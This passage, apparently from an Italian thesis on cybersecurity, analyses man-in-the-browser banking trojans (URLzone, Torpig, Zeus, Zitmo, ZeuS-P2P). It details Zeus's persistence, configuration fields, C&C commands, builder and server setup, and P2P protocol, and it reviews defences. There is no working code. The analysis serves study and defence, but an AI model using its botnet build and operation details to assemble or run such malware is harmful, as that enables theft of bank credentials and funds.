5.1.1.1 URLzone (Bebloh) .

Un sofsticato trojan/botnet dall'Ucraina focalizzato sulla tedesca Man banking [B-73].
1. Rubare Dati: URLzone si concentra di più a rubare soldi direttamente dalle vittime,
piuttosto che rubare i loro dati da vendere o da utilizzare per commettere frodi più tardi. Si atti-
va solo quando i dati provengono da domini specifci (banche tedesche). Controlla il sistema, e
quando è creata una nuova istanza di un'applicazione che sa come attaccare si attiva, utilizza
API di aggancio per iniettare una DLL nel processo ed
intercetta i messaggi del sistema .
2. Modifcare Html: URLzone per prelevare denaro dalle transazioni deve restare attivo
per tutto il tempo necessario quindi per evitare che il server della banca blocchi la transazione il
trojan deve conoscere bene ed essere in grado di gestire le pagine ed i messaggi html della ban -
ca.
3. Modifcare i dati in uscita: Quando il bot comunica i dati acquisiti da un dominio mirato al suo
controllore, il controllore ha la possibilità di specifcare che un attacco deve essere effettuato.
Questa decisione è gestita in automatico dal lato server, ed è l'unico modo in cui URLzone ese-
guirà un attacco attivo, il bot da solo non ha la capacità di effettuare questo tipo di attacco .
Questo è utile in due modi in primo luogo si evita la necessità che i bot utilizzino i cicli di CPU
locali per comporre gli attacchi, e in secondo luogo consente di effettuare tutti gli attacchi con le
più recenti specifche . Le modifche apportate vengono scelte molto attentamente in modo da
massimizzare la probabilità che l'attacco abbia successo.
I due dati che ruberà sono il saldo del conto e la transazione massima consentita. Da queste si
determina un importo che è vicino (ma leggermente meno ) al minore di questi due dati, com -
preso un fattore di randomizzazione per ingannare i sistemi antifrode progettati per notare se-
gnali sospetti nelle transazioni.
Tale importo determinato è allora restituito dal server al trojan insieme ad un conto di deposito
controllato da un aggressore a cui tale importo deve essere inviato.
69
Questi due campi sovrascrivono quelli nella forma originale che la vittima predestinata inten-
deva inviare, e quindi il modulo inviato alla banca subirà l'alterazione.
4. Scegliere gli obiettivi: L'attacco all'obiettivo è formato da due parti - scegliere quali valori di
campo rubare come determinato da un fle locale di confgurazione, e quali transazioni attacca-
re attivamente come determinato da remoto dal Server di C & C. Ancora una volta, questa ope-
razione remota si prende il tempo necessario per eseguire calcoli complessi in modo indipen-
dente dai vincoli dell' hardware locale ed ogni ridotta attività sul lato client aiuterà i
trojan/worm a rimanere protetti dal software di sicurezza sul lato client. Campi obiettivo de -
terminati localmente sono selezionati confrontando il dominio originario dei dati POST rubati
a un elenco di nomi di dominio se corrispondono, i dati sono scelti e rubati .
5. Comunicare con il C&C: La comunicazione tra il trojan e il server C &C è condotta su HTTP,
utilizzando dati XORencrypted [B-73]. Dopo la confgurazione iniziale, tutte le comunicazioni
sono attivate dal dominio come descritto. A differenza di Torpig e Zeus, non vi è alcun contat-
to regolare con il server, ed il server è di diffcile codifca [B-74].
5.1.1.2 Torpig (akaSinowal).

Una botnet fessibile attiva negli Stati Uniti e Europa [B-75].
Defnizione Karpesky [1]: “Sinowal (Mebroot) — Backdoor appositamente sviluppato dai virus writer per
realizzare il furto di informazioni fnanziarie. Per insediarsi all’interno del sistema informatico contagiato,
esso provvede ad infettare l’MBR (Master Boot Record) dell’hard disk.”
1. Rubare Dati: Torpig può controllare tutti i dati trattati da [programmi su macchine compro-
messe, tra cui browser web] ed identifcare e memorizzare interessanti pezzi di informazioni,
come ad esempio le credenziali per gli account online e le password memorizzate"[B-75] utiliz-
zando DLL, oppure codice iniettato attraverso punti di aggancio. Questo è il furto di dati passi-
vo negli stessi modi usati per URLzone, anche se non limitato a dati POST, e compresi i dati
estratti dai servizi password manager browser e dati di sistema vari inclusi account utente di
Windows e password di accesso . Furto di dati attivo viene effettuato anche per mezzo di attac -
chi di phishing .Questi dati saranno inviati al C &C senza alcuna cifratura o offuscamento; un
altro vantaggio di creare una nuova pagina anziché utilizzare dati dai campi attuali delle pagi-
ne legittime.
2. Modifcare Html
3. Modifcare dati in uscita : Poiché Torpig riguarda solo i dati oggetto di furto, non modifca i
dati in uscita. Non modifcando i dati in uscita, non ha bisogno di nascondere le proprie tracce,
e la sola modifca di html che fa è quella di creare pagine di phishing. Questo può essere fatto
banalmente, dato che il server che inietta ritorna al trojan un URL a una versione completa-
mente formata della nuova pagina creata appositamente, il cui contenuto può poi sostituire di -
rettamente la pagina legittima.
4. Scegliere gli obiettivi: Gli obiettivi sono scelti da Torpig allo stesso modo come raccoglie quali
dati POST sono da rubare – i domini di interesse sono elencati nel fle di confgurazione ottenu-
to dal server C &C, e tutti i dati che l'utente inserisce sono rubati.
5. Comunicare con il C&C: Il bot invia i dati accumulati che ha rubato a intervalli fssi, e tutte le
comunicazioni tra Torpig C & C ei suoi bot viene effettuata su messaggi HTTP POST crittogra-
fati con proprio algoritmo di crittografa Base64 + XOR di Torpig, utilizzando una chiave sim-
70
metrica inviata in chiaro (Stone-Grosset al., 2009). Torpig è particolarmente interessante, e segue
una tendenza attuale, in quanto non dipende da un server statico nello stesso modo di URLzo -
ne .Sulla base di un algoritmo che utilizza diverse informazioni genera un elenco di indirizzi di
potenziali server C & C . Si avvia quindi dalla cima dell'elenco inviando richieste a questi domi -
ni putativi fnché non riceve una risposta C &C valida, a quel punto il server che risponde di -
venta il server di controllo per tale bot fno alla successiva commutazione programmata . In
questo modo elimina il punto debole passibile di fallimento presente in URLzone
5.1.1.3 Zbot (Zeus, Kneber)

Una botnet di ampia diffusione [B-76]
Defnizione Karpesky [1]: “Zbot (ZeuS) — trojan universale, volto a colpire i conti bancari dei clienti di
numerosi istituti di credito. I codici sorgente della seconda versione del malware, codici peraltro resi di
pubblico dominio su Internet.”
1. Rubare Dati: Zeus ruba dati secondo entrambe le pratiche generali hard-coded (URLzone) e se-
lezione confgurabile (Torping). Preleva le password memorizzate in archivi locali precari come
Windows ProtectedStorage, e tutti i dati di accesso che sono gestiti in modo insicuro. La conf -
gurazione potrà inoltre permettere all'attaccante di nominare domini da cui Zeus dovrebbe in -
tercettare tutti gli input dell'utente prima della cifratura, che possono poi essere trasmessi al
C &C. In questo modo, è come una via di mezzo tra URLzone e Torpig . Ha funzionalità extra,
può essere confgurato per catturare screenshot su eventi click del mouse sulle pagine a domini
di destinazione, e ha "una routine speciale che consente di confgurare modelli per la ricerca di -
numeri di transazione nei dati inviati a banche on-line . I match patterns includono valori, come
il nome della variabile e lunghezza del TAN [B-76] .
2. Modifcare Html: Zeus esegue iniezioni di html come lo fa URLzone , e per la stessa ragione di
Torpig . Sulla base di una conoscenza di base sulla confgurazione delle pagine di siti di desti -
nazione, Zeus inserisce campi singoli o multipli in pagine altrimenti legittime. Il modo è com-
pletamente personalizzabile, e ha il vantaggio della brevità, in quanto è richiesta solo una pic-
cola modifca, invece di dover richiedere un'intera pagina html da un server che la inietta - l'o -
verhead è basso dal client-side. Il campo di solito è confgurato per richiedere i dati di autenti-
cazione aggiuntivi, come richiede Torpig, che saranno inseriti in chiaro per essere dirottati di -
rettamente verso C & C. Si può anche "modifcare o dirottare JavaScript che viene utilizzato per
scopi di sicurezza lato client" [B-76], allo stesso modo, al fne di aggirare la sicurezza di un sito .
3. Modifcare dati in uscita: Zeus, come Torpig, si occupa solo di furto di dati, e quindi non ese -
gue alcun attacco in tempo reale. L'unica piccola modifca dei dati in uscita che fa è la sostitu -
zione di URL scelti a richieste DNS per eseguire attacchi di phishing tradizionali .
4. Scegliere gli obiettivi: Tutto il targeting è gestito attraverso due librerie di fltri, che si confron-
tano con gli URL visitati dal browser in un modo simile a come Torping sceglie gli obiettivi.
Questi sono i nomi sia domini mascherati dai quali tutti i dati dell'utente sono rubati ("WebFil-
ters"), o maschere URL associate a pezzi di testo che devono essere presenti in una presentazio-
ne utente da selezionare per l'appropriazione da parte di Zeus.
5. Comunicare il C&C: Zeus comunica con C &C tramite messaggi postati in modo simile a Tor-
pig, ma lo fa ogni volta che ha dati da inviare come pure a intervalli di tempo - non consente di
accumulare dati sul lato client. Le risposte del server da Torpig offrono un certo controllo sui
71
suoi bots, ma Zeus ha molto di più. Può ordinare diverse funzioni da C &C che variano da ru -
bare fle aggiuntivi, fno al riavvio della macchina infetta, e anche l'eliminazione system32
Windows . Questo controllo viene più da aspetti di Zeus come una suite completa botnet piut-
tosto che qualcosa di pertinenza MITB, ma la dice lunga su come si è evoluta e su come sia po -
tente Zeus. In combinazione con l'ampiezza della sua infezione, questo è probabilmente il mo-
tivo per cui Zeus ha ricevuto molto di più l'attenzione dei media rispetto ad altre botnet .
5.1.1.4 L'attacco MITB come strumento utilizzato dalle Botnet

Una questione sollevata da questa serie di strumenti e tecniche riguarda le de-
fnizioni. A che punto MITB inizia e termina? Molte delle funzioni svolte a sostegno
dell'attacco non avvengono "nel browser", e il modo in cui il browser può essere
compromesso sono numerose e varie. Esse comprendono API di aggancio e scripting
personalizzato , Document Object Model diffuso tramite i Browser Helper Object ed
estensioni. A causa di questo, è probabilmente più giusto vedere MITB come stru-
mento di un trojan/botnet .
Quello che accomuna queste implementazioni MITB sono le intenzioni e i

concetti astratti generali in base ai quali effettuare i loro attacchi (sostituzione, disin-
formazione, selezione intelligente ecc). Dove differiscono sia in termini di esecuzione
tecnica, come nel paragrafo precedente, ed a chi si rivolgono. Come abbiamo visto i
clienti bancari in Europa e Nord America sono sicuramente gli obiettivi primari, ma
la lunga coda di furto di dati meno redditizi si estende su una vasta gamma di altri
dati privati, che può essere abusato direttamente o venduto .
5.1.1.5 Come fermare gli attacchi MITB

Diverse società presentato differenti metodi (proprietari) di rilevamento e
prevenzione.
Entrust [B-77] consiglia l'uso di strumenti di monitoraggio in grado di rilevare azioni
sospette dell'utente, questo può essere sconftto da programmazione MITB intelligen-
te che comprenda pseudo e alberi decisionali . Un più sofsticato monitoraggio porte-
rebbe a più sofsticati alberi decisionali, una corsa agli armamenti in cui molti non sa-
rebbero protetti ogni volta che gli aggressori abbiano ottenuto temporaneamente il
sopravvento .
TriCipher [B-71] offre autenticazione a più fattori, che è già stata sconftta in un
modo o nell'altro da tutti e tre i trojan/botnet dei casi presentati.
Arcot [B-78] offre la frma digitale incorporata nel client Adobe Systems (che inevita-
bilmente trasferirebbe il problema da Man-in-the-Browser a Man-in-the-Adobe) e
72
Sessioni Private Virtuali che si basano sul ritorno di conferma in uno stato leggibile
ma offuscato in un fle di immagine . Quest'ultimo può o non può funzionare per ora,
ma sarà anche inevitabilmente superato non appena vi saranno aggiustamenti e sa-
ranno trovate crepe nella loro sicurezza proprietaria. L'unica cosa di cui è garantito il
funzionamento, notevole nella sua semplicità, è la conferma fuori banda OOB. Il whi-
tepaper Arcot stabilisce l’ autenticazione OOB tramite passcode, ma non consente la
segnalazione OOB (sia tramite telefonata automatica o messaggio di testo), che forni-
sce all'utente un compendio di tutte le operazioni tentate sui loro conto e preferibil-
mente la possibilità di confermare o rifutare. Ci sono due problemi con questo (met-
tendo da parte la possibilità che gli aggressori possano rubare dettagli del telefono ed
intervenire in modo fraudolento), che sono :
1. costa denaro, e a differenza di altre soluzioni a pagamento, il costo sale con il
livello d' uso.
2. Richiede che Internet banking (e qualunque altre forme di transazione su In-
ternet si voglia proteggere) almeno parzialmente sia fuori da Internet, piutto-
sto che fare sì di avere Internet al primo posto. Sono auspicabili altre soluzio-
ni ragionevoli in futuro ma non sembrano disponibili in questo momento.
Naturalmente, se gli utenti del web non avessero infezioni da malware, allora
non ci sarebbe il problema, ma questo è improbabile che possa accadere.[B-
70].
Attacco al sistema OOB

Il sistema di protezione più diffuso è la conferma della transazione attraverso
un particolare codice segreto trasmesso tramite SMS sul telefono del cliente. Dagli at-
taccanti, tuttavia, vengono sviluppati costantemente nuovi software in grado di elu-
dere anche i suddetti dispositivi di sicurezza. Un esempio in tal senso è rappresenta-
to dai malware riconducibili alla famiglia denominata Zitmo [1], appositamente svi-
luppati dai virus writer per attaccare i telefoni cellulari degli utenti; tali software noci-
vi sono in grado di bypassare il duplice sistema di autenticazione in genere imple-
mentato dagli istituti bancari europei. I suddetti malware mobili operano in stretta
simbiosi con Zbot (ZeuS); inizialmente Zbot provvede a carpire dal computer-vittima
infetto il login e la password utilizzati dall’utente per accedere al sistema di banking
online; successivamente, nel momento in cui effettivamente si procede al trasferimen-
to del denaro, entra in gioco Zitmo, la “controparte” mobile di Zbot, il quale provve-
de ad intercettare e trasmettere ai cybercriminali il codice segreto (TAN), utilizzato
per procedere all’autorizzazione della transazione fnanziaria[1].
73
Dati statistici sugli attacchi
Nella prima metà del 2012, negli Stati Uniti, in Canada e nei paesi dell’Europa
Occidentale è stato complessivamente registrato il 70% del volume totale di attacchi
informatici condotti dai cybercriminali tramite il programma malevolo Backdoor.Wi-
n32.Sinowal (Mebroot), la restante quota degli assalti eseguiti attraverso
Trojan-Spy.Win32.SpyEye e Trojan-Spy.Win32.Zbot [1].
5.1.2 Zbot (Zeus King of the Bot)- approfondimento-

Venne identifcato nel luglio 2007 quando fu utilizzato per rubare informazio-
ni dal Dipartimento dei Trasporti degli Stati Uniti, si è diffuso a macchia d'olio nel
marzo 2009. Nel giugno 2009, la società di sicurezza Prevx ha scoperto che Zeus ave-
va compromesso oltre 74.000 account FTP su siti web di aziende come Bank of Ame-
rica, la NASA, Mostro, ABC, Oracle, Play.com, Cisco, Amazon, e BusinessWeek [B-
80].
Nel 2008 la sola Symantec ha scoperto 154.000 computers infettati da Zeus e 70330
varianti del binario Zeus. La reale infezione si presume molto più alta.
Figura 4: Rilevamento Symantec su 12 mesi infezione di Zeus
74
Questi sono i dati di Symantec che mostrano il rilevamento in 10 paesi di Zeus nel
corso del 2008-09:
Figura 5: Rilevamento Symantec in 10 paesi infezione di Zeus
Siti quali Abuse.ch [26] tracciano Zeus da un po' di tempo e stanno monito-
rando i server di controllo e comando. Inoltre, danno una buona rappresentazione di
come sia sempre attiva la famiglia Zbot/Zeus .
75
Figura 6: Il monitor di abuse.ch che traccia i server C&C
Vengono di seguito illustrate le metodologie utilizzate da Zeus nella versione

studiata da Faliere N. e Chien E. [B-76] per infettare un client , attivare un bot e fare
in modo che effettui le operazioni previste e comandate dal C&C.
Zbot, conosciuto anche come Zeus, è un pacchetto malware che è disponibile

per la vendita e negoziato in forum underground. Il pacchetto contiene un costrutto-
re in grado di generare un bot eseguibile e fles del web server (PHP, immagini, mo-
delli SQL) da utilizzare come server di comando e controllo. Mentre Zbot è una back-
door generica che permette il pieno controllo da parte di un utente remoto non auto-
rizzato, la funzione primaria di Zbot è lucrare sul furto di credenziali di online come
FTP, e-mail, online banking, e altre password online . Zeus è un pacchetto di botnet
76
che può essere acquistato a partire da 700 dollari e si può trovare anche liberamente
commercializzato . Il bot può essere trovato in tutto il mondo ed è quindi sempre pre-
valente nella compromissione di computer non protetti. Il trend dell'infezione ha avu-
to un picco massimo nel 2009 ed è diffuso in tutti i paesi del mondo soprattutto Giap-
pone, Nord America ed Europa .
5.1.2.1 Installazione di Zbot sul client vittima

Zbot (versione 2007) è facilmente installabile, i vettori di infezione avvengono
tramite l’accesso più vario utilizzando le tecniche viste in precedenza. Non appena
l'eseguibile è stato lanciato sul sistema (windows) effettua le seguenti operazioni:
• copia se stesso in %system32%\sdra64.exe.
• setta il precendente percorso (path) in questo modo
HKEY _ LOCAL _ MACHINE\Software\Microsoft\WindowsNT\winlogon\userinit

così che winlogon.exe faccia partire il processo al momento dello startup .
• cerca winlogon.exe, aumenta i privilegi, inietta il suo codice in questo processo, e crea un
thread per eseguire il suo codice.

• L'esecuzione principale termina qui.
• Il codice inserito in winlogon inietta altro codice in svchost.exe
crea una directory %System%\lowsec e vi inserisce due fles local.ds e user.ds
Local.ds contiene l’ultima confgurazione dinamica scaricata dal server.

User.ds contiene credenziali rubate da trasferire verso il server.
• Il codice dentro svchost è responsabile delle comunicazioni network e dell’iniezione di
processi di terza parte richieste dalle APIs Internet correlate al fne di iniettare o rubare in-
formazioni da/verso internet-banking.
Le comunicazioni tra questi componenti in diverso modo iniettati avviene tramite mutex o
pipes chiamati maliziosamente _AVIRA_x, dove x è un numero (es: x=2109 in winlogon.e-
xe, x=2108 in svchost.exe).
Se Zeus è eseguito usando un account che non ha i privilegi di Administrator, il codice non
sarà iniettato dentro winlogon.exe, ma in explorer.exe.
•Inoltre, invece di copiarsi dentro la directory %System% , il bot si copierà in
%UserProfile%\Application Data\sdra64.exe, e creerà la directory UserProfile%\Ap-

plicationData\lowsec.
Infne, il bot creerà un punto di carico sotto la chiave di registro
HKEY _ CURRENT _
USER\Software\Microsoft\Windows\CurrentVersion\Run\"userinit"=" %UserPro-
file%\Application Data\ sdra64.exe“.
77
Le fnalità di Zeus sono quelle illustrate nel paragrafo precedente (predomi-
nante è il furto di credenziali). Interessante è la descrizione delle informazioni di de-
fault che vengono prelevate ed inviate al C&C.
5.1.2.2 Informazioni raccolte di default da Zbot

Per impostazione predefnita raccoglierà automaticamente una serie di infor-
mazioni di sistema ed le invia al server di comando e controllo. Queste includono:
• una stringa univoca di identifcazione del bot
• il nome della botnet
• la versione del bot
• la versione del sistema operativo
• la lingua del sistema operativo
• l' ora locale del computer infetto
• l'orario di installazione del bot
• l' orario dell' ultimo rapporto
• il paese del computer infetto
• l'indirizzo IP del computer infetto
• i nomi dei processi
5.1.2.3 Il file di configurazione dinamica
Per raggiungere i suoi fni Zbot/Zeus è controllato tramite un fle di conf-

gurazione modifcato dal distributore del trojan/bot. Questo fle di confgurazione
specifca le azioni da eseguire una volta installato Zeus ed è aggiornabile tramite il
server di comando e controllo.
Il fle di confgurazione include una varietà di comandi di seguito indicati:
• url_loader - aggiornamento della posizione del bot
• url_server - ubicazione del server di comando e controllo
• AdvancedConfgs - URL alternativi per i fle di confgurazione aggiornati
• Webflters - fltri Web specifcano un elenco di URL (con maschere) che devono essere moni-
torati. Tutti i dati inviati a questi URL come credenziali di online banking sono inviati al server
di comando e controllo. Questi dati vengono catturati sul client prima di SSL. Inoltre, si può
specifcare di catturare un'immagine quando viene cliccato il pulsante sinistro del mouse, uti-
le per la registrazione di numeri PIN selezionati su tastiere virtuali.
• WebDataFilters - fltri di dati Web specifcano un elenco di URL (con maschere) e anche mo-
delli di stringa dei dati che devono essere abbinati. Tutti i dati inviati a questi URL e corrispon-
denti ai modelli di stringa indicati come la 'password' o 'login' vengono inviati al server di co-
mando e controllo. Questi dati sono catturati sul client prima SSL.
• WebFakes - reindirizzare l'URL specifcato in un URL diverso, che ospiterà una versione po-
tenzialmente falsa del pagina.
• TANGrabber – La routine TAN (Transaction Authentication Number) grabber è una routine
specializzata che consente di confgurare i modelli di pattern per cercare numeri di transazione
nei dati inviati a banche online. Il modelli di pattern includono valori quali il nome della varia-
78
bile e la lunghezza del TAN.

• DNSMap - Le voci da aggiungere al fle Hosts spesso utilizzate per impedire l'accesso a siti di
sicurezza e reindirizzare gli utenti a siti web falsi.
• fle_webinject - Il nome del fle di confgurazione che specifca HTML da iniettare in pagine
di online banking, che sconfgge l'avanzata sicurezza attuata dalle banche on-line ed è usato per
raccogliere informazioni normalmente non richieste dalle banche. Questa funzionalità è pre-
sentata nella sezione "Web Page Injection".
5.1.2.4 HTML Injection nelle pagine web

Molti servizi bancari online e altri siti Web che richiedono le credenziali si
sono evoluti per eludere gli attacchi di keystroke logging or network-sniffng. Così, molti
tentativi di furto di credenziali utilizzano tecniche di iniezione HTML. In particolare,
queste minacce iniettano ulteriore codice HTML nelle pagine legittime che forzano
l'utente ad inserire informazioni sulle credenziali non realmente richieste dal sito web
fnanziario. Campioni d'esempio di iniezioni Web vengono forniti nel pacchetto di
Zeus e sono defniti nel fle di confgurazione.
Figura 8: Pagina Web prima dell'iniezione Figura 7: Pagina Web dopo l'iniezione
Quando il modulo (Fig. 4) viene inviato, Zeus intercetta il contenuto del form
tramite azione POST , ivi compresi il numero PIN e invia queste informazioni al ser-
ver di comando e controllo. La sintassi permette anche di sostituire HTML piuttosto
che solo di aggiungerlo. La sostituzione di HTML in sostituzione è di solito utilizzata
per modifcare o dirottare JavaScript che viene utilizzato per scopi di sicurezza lato
client. Per esempio, molti siti di banking online con un maggiore criterio di sicurezza
trasformano in hash le credenziali prima di inviarle. Questa routine JavaScript utiliz-
79
zata per l'hashing verrà bloccata per mantenere le credenziali come testo in chiaro ed
inviarle, quando saranno essere intercettate, al server di comando e controllo.
5.1.2.5 Attività aggiuntive
L'eseguibile Zeus ha molteplici comandi incorporati che possono essere ese-

guiti come attività aggiuntive. L'esecuzione di questi comandi può essere attivata nel
server di comando e controllo. Quando il bot si collega al server, il server indica qua-
li task attivare.
• Reboot – reboot del computer
• Kos – cancella il system fles, e killing del computer
• Shutdown – spegne il computer
• Bc_add – inizializza la back door effettuando back-connecting al server e permettendo l'ese
cuzione di comandi arbitrari tamite command shell
• Bc_del – cancella la connessione back door
• Block_url – disattiva l'accesso ad un particolare URL
• Unblock_url – riattiva l'accesso ad un particolare URL
• Block_fake – non inietta contenuto HTML grezzo in pagine che fanno che corrispondono a
URL defniti
• Unlock_url – riattiva l'iniezione di contenuto HTML grezzo in pagine che fanno che corri
spondono a URL defniti
• Rexec – scarica ed esegue un fle
• Lexec – esegue un fle locale
• Lexeci – esegue un fle locale usando un user interattivo
• Addsf – aggiunge un marcatore di fle per una ricerca locale
• Delsf – rimuove un marcatore di fle per una ricerca locale
• Getfle – fa l'upload di un fle o una directory
• Getcerts – ruba certifcati digitali
• Resetgrab – ruba informazioni e cookies da PSTORE (protected storage)
• Upcfg – aggiorna la confgurazione dei fles
• Rename_bot – rinomina il bot in esecuzione
• Getmff – carica Flash cookies
• Delmff – cancella Flash cookies
• Sethomepage – cambia la pagina iniziale di Internet Explorer
5.1.2.6 Comunicazioni sulla Rete
Quando parte l'esecuzione del bot , questo invia:

• interrogazioni “M-SEARCH *” all'indirizzo multicast 239.255.255.250, por-
ta UDP port 1900 (SSDP). Questa interrogazione UPnP è usata per scoprire
UPnP dispositivi sulla rete, come router a banda larga , per determinare se il
80
computer compromesso è su un IP pubblico e così permettere potenzialmente

anche di riconfgurare il dispositivo a banda larga .
• Le comunicazioni tra il bot e il server di controllo e comando sono fatte usan-
do il protocollo HTTP . I dati sono codifcati usando RC4 e la chiave di cifra-
tura specifcata dall'autore. Inizialmente , il bot invia una GET request al ser-
ver di comando e controllo per ricevere il fle di confgurazione. Lo fa ripetu-
tamente, come specifcato in campo timer_confg confgurato dall'autore. Il
server replica con il fle di confgurazione.
• Ogni volta che il bot deve inviare informazioni al server di comando e con-
trollo, invia una richiesta POST all'URL url_server specifcato nel fle di con-
fgurazione dinamica.
• In risposta, il server invia un HTTP / 200 con un codice OK. Il server può an-
che inviare dati aggiuntivi da fare eseguire al bot, come ad esempio i coman-
di di script creati dal botmaster.
5.1.2.7 Costruzione del bot eseguibile e fle di confgurazione statica

Nel pacchetto/bot per costruire Zbot/Zeus c'è un costruttore per creare un
bot eseguibile . Le seguenti operazioni devono essere condotte per creare il bot usan-
do lo strumento costruttore (builder.exe).
1. Personalizzazione del fle di confgurazione di default (confg.txt). Il fle di confgurazione è di-
viso in due sezioni:
• La sezione statica, i cui parametri saranno codifcati nel eseguibile del bot che sarà generato.
• La sezione dinamica, utilizzato per creare un fle di confgurazione dinamica (confg.bin).
Questo fle è crittografato con una chiave, settata nella sezione di confgurazione statica. Il
bot scaricherà il fle di confgurazione dinamica dal Web server ad intervalli regolari.
2. Generazione del fle di confgurazione dinamica cifrato (confg.bin).
3. Generazione del bot eseguibile .
Di seguito vengono descritti i campi utilizzati nella sezione di confgurazione

statica:
• botnet - Il nome della botnet.
• encryption_key - utilizzata per crittografare il traffco di rete (RC4) e il fle di confgurazione
dinamica.
• timer_confg - L'intervallo in minuti in cui il bot scaricare il fle di confgurazione dinamica,
cifrata usando encryption_key, e il tempo di attesa in minuti, se la query non è riusci
ta prima di riprovare.
• timer_logs - L'intervallo in minuti in cui il bot invierà i dati raccolti al server.
81
• timer_start - L'intervallo in minuti in cui il bot invierà statistiche (ad esempio, informazioni
della macchina) al server.
• url_confg - L'URL del fle di confgurazione dinamica.
I campi della sezione dinamica sono descritti in precedenza .
5.1.2.8 Configurazione del Server
Oltre a costruire il fle eseguibile del bot, l'hacker deve impostare i server di co-
mando e controllo. I requisiti sono un server Web, un modulo PHP, e un server My-
SQL. Il pacchetto/bot prevede un insieme di script PHP che consente di impostare le
tabelle di database necessarie e altri dati specifci per l'utente, sulla base del fle di
confgurazione utilizzato per generare il bot.
Viene creato un pannello di controllo per l'amministratore a cui può effettua-
re il login (URL di default http://[SERVER]/cp.php ) . Dal pannello di controllo può
prendere visione delle informazioni correnti della botnet :
• Informazioni sul botmaster in linea e data e ora corrente
• Statistiche
Stato globale, incluso il numero di bot e loro versione
Elenco dei sistemi operativi e verione di Windows, service pack dei pc compromessi
• Botnet
◦ Tramite form effettua query su bot specifci . Per esempio creare una lista per appartenen-
za ad una nazione, l' IP, in linea o non in linea …
◦ Tramite Script crea procedure che saranno eseguite da uno o più bot. Tutto il ventaglio di
comandi visti in precedenza nelle attività aggiuntive.
• I Report sono utilizzati per una ampia attività di valutazione.
• Informazioni sui sistemi su cui il server è in azione.
◦ Esiste l'opzione per il botmaster di poter modifcare la chiave di cifratura utilizzata per la
confgurazione dinamica di bot che per il traffco di rete.
5.1.2.9 Tavole del database cpdb
Il server di comando e controllo utilizza un database MySQL per memorizza-

re informazione sulla botnet e sulle attività svolte. Il nome del database è 'cpdb' ed
utilizza queste tavole:
• botnet_list – Un elenco di bots e botnets.
• botnet_reports – Un elenco di reports della botnet .
• botnet_reports_YYMMDD – Reports della Botnet creati in una particolare data.
• botnet_scripts – Un elenco di attività suppletive da inviare ai bots.
• botnet_scripts_stat – Lo stato di attività suppletive da inviare ai bots.
82
• cp_users – Informazioni sull' user-account del botmaster.

• ipv4toc – Indirizzi IP mappati per nazione.
5.1.2.10 Considerazioni su installazione ed uso Zbot/Zeus

Questa versione di Zeus (identifcata la prima volta nel 2007) è fornita come
un pacchetto pronto da implementare agli hacker per diffondere le proprie botnet.
In questa presentazione si è messo in evidenza come sia abbastanza facile installare
ed utilizzare Zbot/Zeus. La facilità d'uso giustifca il fatto che Zeus sia stato ampia-
mente utilizzato e molto diffuso, permettendo anche agli hacker più inesperti di ruba-
re facilmente le credenziali di banking online e altre credenziali e dati online.
Nella sezione Esempi n. 10.6 vi sono le indicazioni per scaricare il codice (per fni di
studio) del pacchetto Zbot/Zeus versione 2.0.8.9 ed altri dati.
5.1.2.11 La mutazione ZeuS-P2P / Gameover

All'inizio del 2012 venne rilevata una versione di Zeus chiamata ZeuS-P2P o
Gameover. Questa versione utilizza la topologia della rete P2P (Peer-to-Peer) per co-
municare un un C&C nascosto. Venne analizzata dal Servizio di certifcazione polac-
co (CERT Polska) [27].
Una delle caratteristiche distintive di Gameover rispetto ad altre mutazioni

della famiglia "ZeuS" è la presenza di una sola istanza della botnet. Zeus standard e il
suo successore, Citadel sono stati venduti come dei cosiddetto "toolkit crimeware",
una sorta di kit di installazione. Ogni acquirente ha anche installato una propria
istanza di botnet. ZeuS-P2P non viene venduto in quel modo. Invece, vi è una sola
istanza di esso, e quindi un'unica botnet.
Gli autori di questa versione si sono concentrati sull' eliminazione dell'anello

più debole : il canale di comunicazione con il C&C (comando e controllo). Nelle ver-
sioni classiche di Zeus, è possibile defnire un singolo (o pochi) URL a cui il bot tenta
di connettersi al fne di inviare i dati raccolti e per scaricare una nuova confgurazio-
ne. Questo comportamento è molto semplicistico e comporta un rischio. Il nome del
server che appare nella URL (indirizzo IP o il nome di dominio) può essere rintraccia-
to e fermato. Ciò potrebbe comportare per il botmaster la perdita in modo permanente
il controllo della botnet. La nuova mutazione utilizza la rete P2P per comunicare con il
C&C e distribuire i dati (fle binari e di confgurazione) .
83
Figura 9: Nodi della rete Zeus-P2P
La più grande innovazione, da cui questa variante prende il nome, è la comu-

nicazione P2P. Il suo scopo è quello di decentrare la gestione della rete. I messaggi
vengono trasmessi tra i computer infetti, piuttosto che direttamente tra la macchina e
il C&C. Ogni computer infettato diventa parte della rete (nodo-P2P) e partecipa allo
scambio di dati. Inoltre, le macchine selezionate possono essere etichettati come "su-
per nodi "o nodi-proxy (p2p-super-nodi). Partecipano al trasferimento dei dati al ser-
ver C&C. Molto probabilmente vengono selezionati manualmente dalla lista dei nodi
attivi da più tempo, o ad alta larghezza di banda.
Il protocollo utilizzato nella rete P2P è simile al protocollo Kademlia. Ogni

nodo della rete è identifcato da un id unico NodeID di 20 byte. Questo ID viene ge-
nerato durante la prima esecuzione come una somma SHA1 delle due stringhe: ID
bot (chiamata CompId) e l'ID di sistema (chiamato GUID). Analogamente al protocol-
lo Kademlia la distanza tra due nodi viene calcolata utilizzando la metrica XOR.
Questa misura viene utilizzata per esempio per selezionare i migliori nodi dalla ta-
bella dei nodi vicini .
La rete P2P è pienamente compatibile con IPv6. Ogni nodo può avere due indirizzi
IP attivi: uno IPv4 e uno IPv6 . Per ogni punto è assegnato un numero unico di porta
UDP , in cui avviene la comunicazione di base P2P . Ogni nodo ha anche una porta
TCP aperta utilizzata per scambiate grandi quantità di dati. Ogni connessione TCP è
gestita da un nuovo thread , e pacchetti UDP sono gestiti dal thread principale. In en-
trambi i casi, il valore di ritorno del campo banlist::isAddrBlacklisted viene control-
lato per verifcare se l'indirizzo non è bloccato.
Ogni comunicazione comincia con un pacchetto P2P . Il pacchetto contiene

sempre un header p2p. Esso è composto da un campo contenente un tipo di pacchet-
to (cmd), l'identifcatore di invio nodo (SenderID) e un unico identifcatore di sessio-
84
ne SSID. Un fenomeno interessante è la presenza di un gran numero di dati casuali in

ogni messaggio. Il numero presente nel campo junkSize viene generato casualmente e
si aggiunge che il numero di byte casuali alla fne di ogni pacchetto. E' probabilmente
una caratteristica destinata a paralizzare la capacità di rilevare automaticamente il
traffco sospetto con le frme di rete.
85
6 Aspetti Economici della Sicurezza
6.1 Considerazioni generali

La Cybersecurity ha recentemente attirato l'attenzione dei politici. Ci sono
